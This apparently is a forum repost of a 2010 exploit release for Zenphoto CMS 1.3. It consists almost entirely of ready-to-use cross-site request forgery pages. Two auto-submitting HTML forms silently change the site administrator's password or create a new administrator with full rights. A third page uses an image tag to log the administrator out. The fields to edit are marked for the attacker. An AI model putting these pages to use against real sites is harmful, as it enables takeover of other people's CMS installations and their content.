Exploit ZenPhoto CMS 1.3 - Multiple Cross-Site Request Forgery Vulnerabilities

Exploiter · 21 Дек 2022

HTML:

<!---
    Title: Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Wed 14 Jul 2010 12:48:56 PM EEST 
    Vendor: http://www.zenphoto.org/
    Download: http://zenphoto.googlecode.com/files/zenphoto-1.3.tar.gz
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
                <!--- Edit these --->
                <input type="hidden" name="0-admin_name" value="root" />
                <input type="hidden" name="0-admin_email" value="[email protected]" />
                <input type="hidden" name="0-adminpass" value="rootroot" />
                <input type="hidden" name="0-adminpass_2" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="saveadminoptions" value="yes" />
                <input type="hidden" name="alter_enabled" value="1" />
                <input type="hidden" name="show-admin" value="1" />
                <input type="hidden" name="0-adminuser" value="admin" />
                <input type="hidden" name="0-confirmed" value="2" />
                <input type="hidden" name="0-ADMIN_RIGHTS" value="65536" />
                <input type="hidden" name="0-OPTIONS_RIGHTS" value="8192" />
                <input type="hidden" name="0-TAGS_RIGHTS" value="4096" />
                <input type="hidden" name="0-ZENPAGE_RIGHTS" value="2049" />
                <input type="hidden" name="0-THEMES_RIGHTS" value="1024" />
                <input type="hidden" name="0-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
                <input type="hidden" name="0-ALBUM_RIGHTS" value="256" />
                <input type="hidden" name="0-COMMENT_RIGHTS" value="64" />
                <input type="hidden" name="0-POST_COMMENT_RIGHTS" value="32" />
                <input type="hidden" name="0-UPLOAD_RIGHTS" value="16" />
                <input type="hidden" name="0-VIEW_ALL_RIGHTS" value="8" />
                <input type="hidden" name="0-OVERVIEW_RIGHTS" value="4" />
                <input type="hidden" name="show-" value="16" />
                <input type="hidden" name="totaladmins" value="1" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Create Admin User ]=-

    <html>
        <head>
            <title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
                <!--- Edit these --->
                <input type="hidden" name="1-adminuser" value="root" />
                <input type="hidden" name="1-adminpass" value="rootroot" />
                <input type="hidden" name="1-adminpass_2" value="rootroot" />
                <input type="hidden" name="1-admin_name" value="root" />
                <input type="hidden" name="1-admin_email" value="[email protected]" />
                <!--- Do not edit below --->
                <input type="hidden" name="saveadminoptions" value="yes" />
                <input type="hidden" name="alter_enabled" value="1" />
                <input type="hidden" name="show-admin" value="1" />
                <input type="hidden" name="1-ADMIN_RIGHTS" value="65536" />
                <input type="hidden" name="1-OPTIONS_RIGHTS" value="8192" />
                <input type="hidden" name="1-TAGS_RIGHTS" value="4096" />
                <input type="hidden" name="1-ZENPAGE_RIGHTS" value="2049" />
                <input type="hidden" name="1-THEMES_RIGHTS" value="1024" />
                <input type="hidden" name="1-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
                <input type="hidden" name="1-ALBUM_RIGHTS" value="256" />
                <input type="hidden" name="1-COMMENT_RIGHTS" value="64" />
                <input type="hidden" name="1-POST_COMMENT_RIGHTS" value="32" />
                <input type="hidden" name="1-UPLOAD_RIGHTS" value="16" />
                <input type="hidden" name="1-VIEW_ALL_RIGHTS" value="8" />
                <input type="hidden" name="1-OVERVIEW_RIGHTS" value="4" />
                <input type="hidden" name="show-" value="16" />
                <input type="hidden" name="1-newuser" value="1" />
                <input type="hidden" name="1-confirmed" value="2" />
                <input type="hidden" name="totaladmins" value="2" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 3 - Logout The Administrator ]=-

    <img src="http://[domain]/[path]/zp-core/admin.php?logout=0" alt="Do you see this?" />
    
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->

Поиск

Exploit ZenPhoto CMS 1.3 - Multiple Cross-Site Request Forgery Vulnerabilities

Exploiter

Похожие темы